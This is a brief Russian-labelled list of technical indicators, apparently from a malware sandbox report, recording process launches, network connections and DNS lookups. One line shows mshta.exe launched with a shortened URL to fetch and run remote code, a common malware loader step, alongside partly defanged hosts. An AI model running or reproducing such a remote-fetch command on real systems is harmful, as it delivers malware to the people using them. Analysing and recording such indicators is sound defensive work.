Техническая информация
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\mshta.exe' http:\\%20%20@j.mp\asdasjASDASDxaksxm
- 'j.#p':80
- 'pa###bin.com':443
- http://j.#p/asdasjASDASDxaksxm
- 'pa###bin.com':443
- DNS ASK j.#p
- DNS ASK pa###bin.com
- '%WINDIR%\syswow64\ipconfig.exe' (со скрытым окном)